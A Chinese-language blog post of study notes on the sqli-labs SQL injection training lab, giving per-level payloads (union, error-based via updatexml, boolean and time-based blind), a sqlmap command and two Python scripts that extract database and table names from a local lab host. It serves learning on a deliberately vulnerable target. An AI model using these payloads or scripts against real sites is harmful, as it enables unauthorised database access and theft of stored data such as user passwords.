0X00:前言

sqli-labs是一个学习SQL注入的开源平台,共有75中不同类型的注入。源码可到github上搜索sqli-libs找到

0X01:Page-1基础挑战

0X02:每一关的payloads

LV1:

id=1'

id=1' order by 3--

id=-1' union select 1,2,3--          注:-1

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--      //列名

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--       //表users中的列名

id=-1' union select 1,username,password from users where id=1--

LV2:

id=1'

上一题是  near '1' limit 0,1' at line 1

第二题是数字型注入,没有单引号,payload与1相同

LV3:

id=1'

id=1') or 1=1--

id=1') order by 3--

id=-1') union select 1,2,3--     //注-1

id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--

payload和上面相同

LV4:

id=1'   //没反应

id=1"   //

id=1")

猜测:select * from users where id = ("input") LIMIT 0,1;

id=1") order by 3--

payload和上面相同

LV5:

?id=1'

猜测:select * from uesrs where id = 'input' LIMIT 0,1

?id=1' and '1'='1

有结果:

?id=1' and '1'='2

没有结果:

猜测是bool盲注,我把源码改了-_-返回you are in.....改为YES!!!  没有结果改为NO!!!

?id=1' and length(database())=8--   //得到数据库长度

LV5和LV6都是盲注,lv5是单引号,lv6是双引号

LV5:还可以用报错注入

?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

LV7:dump into outfile

使用文件导出

?id=1')) and length(database())=8--    //发现可以用盲注

但是题目的意思是文件

LV8:时间、布尔盲注

?id=1' and payloads

LV9:时间盲注

LV10:时间盲注

LV11:报错注入

paylaods:username和password都存在注入

payloads:

  • uname=1&passwd=1'

出现报错

数据库中执行SQL时,因为多了一个单引号而报错,并且程序直接将错误信息输出到了页面,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatexml()

  • uname=1passwd=1' union select 1,2#(发现有两列显示错误)
  • 数据库:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#
  • 数据表:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
  • 查字段:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1)#
  • 字段值:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)#

可以改变limit 的参数查看不同的值,也可以用python爆破处所有值

其他报错注入:一次报错,显示所有的信息,不需要limit,每次只能一行信息

uname=1&passwd=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
uname=1&passwd=1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
uname=1&passwd=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a#
返回结果:

详细请看这里:

LV12:报错注入

流程与11相同,变化:1")

LV13:报错注入或者盲注

有报错注入,可选择盲注

uname=1%27&passwd=1') or 1=1#

uname=1&passwd=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

盲注:uname=1&passwd=1') or ascii(substr((database()),1,1))>100#

想写脚本的,发现页面返回都是一样的,不知道时间盲注可不可以感觉可以,但是不想弄-_-\-_-

还可以用sqlmap试一下,发现新技能

(1)用burp抓包POST数据,将数据保存到13.txt中

(2)新认识sqlmap的参数 -technique这个参数可以指定sqlmap使用探测技术,默认情况下会使用所有方式

  • B: Boolean-based blind SQL injection(布尔型注入)
  • E: Error-based SQL injection(报错型注入)
  • U: UNION query SQL injection(可联合查询注入)
  • S: Stacked queries SQL injection(可多语句查询注入)
  • T: Time-based blind SQL injection(基于时间延迟注入)

(3)payload:

python2 sqlmap.py -r "13.txt" --technique E --batch -v 3 --current-db

不过试了一下python2 sqlmap.py --current-db也有答案-_-

LV14:与13基本相同用双引号闭合     1"

LV15:布尔注入,时间盲注

uname=1&passwd=1' or 1=1#

成功登录,试了上面题目的报错注入,都没有报错,题目也提示布尔盲注和时间盲注

uname=1&passwd=1' or left(database(),1)='s'#

还是那个问题,这要都用手注,那岂不是很多。写脚本布尔盲注又不知道怎么分类(返回文本中没有对错,登录成功失败是图片啊,可能我技术不够)。

!!!就在写上句话的时候我看到了两个图片名字不一样哈哈哈哈

下面是获得数据库名和数据表名的脚本,但是一次只能获取一个数据表,获取其他数据表需要改limit后面的参数

#coding=utf-8
import requests
import string
url = 'http://192.168.188.147/sqli-labs/Less-15/'
strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
r=requests.session()
def getdb():
dbname = ''
for i in range(10):
for j in strmes:
payload = "1' or substr(database(),{0},1)='{1}'#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
s = r.post(url,data)
if "flag" in s.text:
dbname += j
print(dbname)
break
def gettable():
tablename=''
for i in range(10):
for j in strmes:
payload = "1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}'#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
s = r.post(url,data)
if "flag" in s.text:
tablename += j
print(tablename)
break
getdb()
gettable()

时间盲注:把布尔盲注的代码差不多,存在的问题也是一次只能查询一个数据表

#coding=utf-8
import requests
import string
url = 'http://192.168.188.147/sqli-labs/Less-15/'
strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
r=requests.session() def getdb():
dbname = ''
for i in range(10):
for j in strmes:
payload = "1' or if(substr(database(),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
try:
s = r.post(url,data,timeout=4)
except:
dbname += j
print(dbname)
break def gettable():
tablename=''
for i in range(10):
for j in strmes:
payload = "1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
try:
s = r.post(url,data,timeout=4)
except:
tablename += j
print(tablename)
break
#getdb()
gettable()

LV16:双引号闭合

注入类型与LV15相同

uname=1&passwd=1") or 1=1#

LV17:

0Xff:总结

未完待续,11题报错注入还没完成,这个报错注入必须要搞定;第七题文件问题还没搞懂;还剩6题没做;还有其他难度。自己效率还是太低了(2019-08-16-19:26:05)

sqli-libs笔记Page-1(Basic Challenges)的更多相关文章

  1. [IR课程笔记]Page Rank

    主要目的: 在网络信息检索中,对每个文档的重要性作出评价. Basic Idea: 如果有许多网页链接到某一个网页,那么这个网页比较重要. 如果某个网页被一个权重较大的网页链接,那么这个网页比较重要. ...

  2. Xamarin 学习笔记 - Page(页面)

    本文翻译自CodeProject文章:https://www.codeproject.com/Articles/1226447/Xamarin-Notes-Xamarin-Forms-Pages 转载 ...

  3. Spring Security笔记:HTTP Basic 认证

    在第一节 Spring Security笔记:Hello World 的基础上,只要把Spring-Security.xml里改一个位置 <http auto-config="true ...

  4. Vaadin学习笔记——Page、UI和View在用法上的区别

    前言 在Vaadin技术框架中会出现三种不同的类,用于架构Web应用.它们分别是:Page.UI.View.本文将对这三者从使用角度进行比较,试图分析三者的异同.本文完全原创,我可不是在强调版权,我只 ...

  5. SQLi-LABS Page-1(Basic Challenges) Less11-Less22

    Less-11 GET - Blind - Time based - double quotes http://10.10.202.112/sqli/Less-11/ 尝试登录: username:a ...

  6. SQLi-LABS Page-1(Basic Challenges) Less5-Less10

    Less5 GET - Double Injection - Single Quotes http://10.10.202.112/sqli/Less-5?id=1 http://10.10.202. ...

  7. SQLi-LABS Page-1(Basic Challenges) Less1-Less4

    Less-1 GET - Error based - Single quotes - Stri http://10.10.202.112/sqli/Less-1?id=1 http://10.10.2 ...

  8. 【靶场练习_sqli-labs】SQLi-LABS Page-1(Basic Challenges)

    GET篇 Less-1:  1.用order by得出待查表里有三个字段 http://192.168.40.165/sqli-labs-master/Less-1/?id=1' order by 3 ...

  9. Go xmas2020 学习笔记 00-03、Basic Types

    00-02-Hello Example. 目录结构. 不一样的Hello World. 巧妙的单元测试. 传入os.Args切片. go mod init. 03-Basic Types. 变量类型与 ...

随机推荐

  1. 201871010110-李华《面向对象程序设计(java)》第十六周学习总结

    博文正文开头格式:(2分) 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.co ...

  2. 每天一道Rust-LeetCode(2019-06-10)

    每天一道Rust-LeetCode(2019-06-02) Z 字形变换 坚持每天一道题,刷题学习Rust. 题目描述 https://leetcode-cn.com/problems/simplif ...

  3. OpenVINO 目标检测底层C++代码改写实现(待优化)

    System: Centos7.4 I:OpenVINO 的安装 refer:https://docs.openvinotoolkit.org/latest/_docs_install_guides_ ...

  4. [Taro] taro 缓存

    taro 缓存 Taro.clearStorageSync() 清除全部缓存 Taro.setStorage(key,value)设置缓存 Taro.getStorage(key)获取缓存 Taro. ...

  5. Java解决方案

    1.新建模板类提示版本太低 Syntax error, type parameters are only available if source level is 1.5 当我的eclipse使用jd ...

  6. Python爬虫爬取数据的步骤

    爬虫: 网络爬虫是捜索引擎抓取系统(Baidu.Google等)的重要组成部分.主要目的是将互联网上的网页下载到本地,形成一个互联网内容的镜像备份. 步骤: 第一步:获取网页链接 1.观察需要爬取的多 ...

  7. [LeetCode] 174. Dungeon Game 地牢游戏

    The demons had captured the princess (P) and imprisoned her in the bottom-right corner of a dungeon. ...

  8. Python3.6 SyntaxError: 'ascii' codec can't decode byte 0xe5 in position 7: ordinal not in range(128)

    Django项目上线之后,死活无法正常运行(本地正常) 开始排查了好久才发现是字符编码问题 前面的小坑基本有一些,好(我)解(忘)决(了). 不好解决的是这个报错: SyntaxError: 'asc ...

  9. shell脚本中“$?”标记的用途是什么?

    在写一个shell脚本时,如果你想要检查前一命令是否执行成功,在if条件中使用“$?”可以来检查前一命令的结束状态.

  10. skip connections

    deep learning初学者,最近在看一些GAN方面的论文,在生成器中通常会用到skip conections,于是就上网查了一些skip connection的博客,虽然东西都是人家的,但是出于 ...